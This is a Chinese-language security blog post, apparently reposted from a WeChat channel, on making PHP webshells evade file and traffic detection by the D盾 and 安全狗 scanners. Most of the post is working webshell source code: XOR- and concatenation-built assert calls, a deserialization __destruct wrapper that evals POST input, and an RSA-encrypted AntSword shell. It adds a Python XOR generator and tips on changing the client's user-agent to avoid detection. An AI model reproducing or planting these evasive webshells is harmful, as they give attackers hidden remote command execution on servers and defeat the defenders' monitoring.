记一次webshell文件及流量免杀

admin 2023年2月2日19:33:42评论46 views字数 4369阅读14分33秒阅读模式

免责声明



本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。

记一次webshell文件及流量免杀

文章正文



来自@41ien 师傅投稿 (近期公众号搞活动:每人2篇原创文章 或者 5篇他人授权文章投稿至“Z2O安全攻防”公众号,  可以免费享受《Z2O安全攻防》知识星球一年权益,投稿联系vx: st3pby  或公众号后台留言) 

0x01 简介

webshell 不做免杀咋用嘛

eval 与 assert

eval() 不能作为函数名动态执行代码,官方说明如下:eval 是一个语言构造器而不是一个函数,不能被可变函数调用。

可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号(),让系统认为该值是一个函数,从而当做函数来执行。比如 assert 可这样用:

$f='assert';
$f(...);

此时 $f 就表示 assert,所以 assert 关键词更加灵活,但是 PHP7 中,assert 也不再是函数了,变成了一个语言结构(类似 eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。

0x02 实验环境

  • PHP Version 5.6.9

  • PHP Version 7.3.4

0x03 利用方法

3.1 文件免杀

首先来看常规的字符拼接免杀

<?php 
$a = 'a'.'s'.'s'.'e'.'r'.'t';
$b='_'.'P'.'O'.'S'.'T';
$c=$$b;
$a($c['x']);
?>

级别为2

记一次webshell文件及流量免杀

我们改用异或来构造 assert

<?php 
$a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
$b='_'.'P'.'O'.'S'.'T';
$c=$$b;
$a($c['x']);
?>

降到了1

记一次webshell文件及流量免杀

这里附上参考中的异或脚本

import string 
from urllib.parse import quote

keys = list(range(65)) + list(range(91,97)) + list(range(123,127))
results = []

for i in keys:
for j in keys:
asscii_number = i^j
if (asscii_number >= 65 and asscii_number <= 90) or (asscii_number >= 97 and asscii_number <= 122):
if i < 32 and j < 32:
temp = (f'{chr(asscii_number)} = ascii:{i} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
results.append(temp)
elif i < 32 and j >=32:
temp = (f'{chr(asscii_number)} = ascii:{i} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
results.append(temp)
elif i >= 32 and j < 32:
temp = (f'{chr(asscii_number)} = {chr(i)} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
results.append(temp)
else:
temp = (f'{chr(asscii_number)} = {chr(i)} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
results.append(temp)

results.sort(key=lambda x:x[1], reverse=False)

for low_case in string.ascii_lowercase:
for result in results:
if low_case in result:
print(result[0])

for upper_case in string.ascii_uppercase:
for result in results:
if upper_case in result:
print(result[0])

用命令python3 xxx.py > results.txt运行脚本

记一次webshell文件及流量免杀

太简单的 webshell 的变量特征就会很明显,我们用反序列化来让它变的复杂一点

<?php
class A{
var $test = "demo";
function __destruct(){
// 利用异或来构造 assert 绕过检测
$b = ('!'^'@').'s'.'s'.'e'.'r'.'t';
$b($this->test);
}
}
$test = $_POST['test'];
$len = strlen($test)+1;
// 构造序列化对象,用我们POST传过去的命令代码字符串覆盖$test="demo",从而执行恶意命令。
$pp = "O:1:"A":1:{s:4:"test";s:".$len.":"".$test.";";}";
// 利用拼接来构造 unserialize 绕过检测
$a = 'un'.'serialize';
// 反序列化同时触发_destruct函数
$test_unser = $a($pp);
?>

以上代码就相当于<?php @eval($_POST['test']);?>

此时 D 盾就懵了

记一次webshell文件及流量免杀

安全狗就更不用说了

记一次webshell文件及流量免杀

执行命令phpinfo()

记一次webshell文件及流量免杀

菜刀连接,查看文件

记一次webshell文件及流量免杀

执行 cmd 命令

记一次webshell文件及流量免杀

3.2 流量免杀

可是,如果目标服务器开启了 D 盾的流量检测,那我们的 webshell 还是没法用的

红框内的就是刚刚完全免杀的 webshell,但是连接时会提示403,连接被 D 盾拦截了

记一次webshell文件及流量免杀

这里我们可以利用蚁剑来对流量进行 rsa 加密,打开编码设置 ——> RSA 配置 ——> 生成,将得到的 php 代码放到目标服务器上

记一次webshell文件及流量免杀

原本的代码

<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDpEuuL7wqhgaWpF/HlcGGpkJZn
x0Hjyc1f+g9NscELnyP+p+hUvxh7AWLudfnPwtx47QRHwAO0bW+RhHkG6cTRwMJO
5PLymzCn578e1DaGInEI2bhCTyx43wMCshd7DTpp0cXjB5QMyHx2rxERTaR02/Fd
I1SzS7twmQRMROYPywIDAQAB
-----END PUBLIC KEY-----
EOF;

$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$cmd .= $de;
}
}
eval($cmd);

不过,这个代码早已被杀软标记了,D 盾检测级别4

记一次webshell文件及流量免杀

由于蚁剑不支持 assert,所以我们只能用 eval,而 eval 是不能被可变函数调用的,所以这里就无法对它进行任何操作了,我们还是先尝试利用反序列化来进行免杀

<?php
class A{
var $test = "demo";
function __destruct(){
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDpEuuL7wqhgaWpF/HlcGGpkJZn
x0Hjyc1f+g9NscELnyP+p+hUvxh7AWLudfnPwtx47QRHwAO0bW+RhHkG6cTRwMJO
5PLymzCn578e1DaGInEI2bhCTyx43wMCshd7DTpp0cXjB5QMyHx2rxERTaR02/Fd
I1SzS7twmQRMROYPywIDAQAB
-----END PUBLIC KEY-----
EOF;

$cmds = explode("|", $this->test);
$pk = openssl_pkey_get_public($pk);
$test = '';

foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$test .= $de;
}
}
eval($test);
}
}

$test = $_POST['test'];

$len = strlen($test)+1;
// 构造序列化对象,用我们POST传过去的命令代码字符串覆盖$test="demo",从而执行恶意命令。
$pp = "O:1:"A":1:{s:4:"test";s:".$len.":"".$test.";";}";
// 反序列化同时触发_destruct函数
$test_unser = unserialize($pp);

?>

令人意外的是,这就直接降到1了

记一次webshell文件及流量免杀

经过我一行代码一行代码地注释测试,是 openssl_public_decrypt 函数引发了警告,这。。。

新建编码器

记一次webshell文件及流量免杀

在添加数据时,选择刚才创建的编码器

记一次webshell文件及流量免杀

同时记得修改 UA,默认的 UA 为 antSword/v2.1,相当于向杀软自报家门了

记一次webshell文件及流量免杀

虽然文件有1级警告,但是连接测试,没有任何问题,并且,由于我们没有顾忌拼接 eval 的问题,所以,这个马是可以在 PHP7 中使用的

记一次webshell文件及流量免杀

记一次webshell文件及流量免杀

利用 burp 抓包,查看执行whoami命令时的发送包

记一次webshell文件及流量免杀

返回包

记一次webshell文件及流量免杀

我尝试了多种方法来处理 openssl_public_decrypt 函数,始终没法彻底消除警告,看来只有用别的加密方法了,不过这也给了我 PHP7 以后的 webshell 免杀思路,虽然 assert 也不再是函数了,但是,当把马儿写的够复杂的时候,那些杀软就没辙了。

0x04 参考

PHP序列化反序列化漏洞总结(一篇懂)

PHP webshell 免杀姿势总结

蚁剑去除流量特征


记一次webshell文件及流量免杀

技术交流





交流群



关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。

记一次webshell文件及流量免杀



知识星球



星球不定时更新最新漏洞复现,手把手教你,同时不定时更新POC、内外网渗透测试骚操作。涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全等

记一次webshell文件及流量免杀





关注我们



关注福利:

回复“app" 获取  app渗透和app抓包教程

回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。

回复“书籍" 获取 网络安全相关经典书籍电子版pdf

原文始发于微信公众号(Z2O安全攻防):记一次webshell文件及流量免杀

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月2日19:33:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次webshell文件及流量免杀http://cn-sec.com/archives/1341498.html

发表评论

匿名网友 填写信息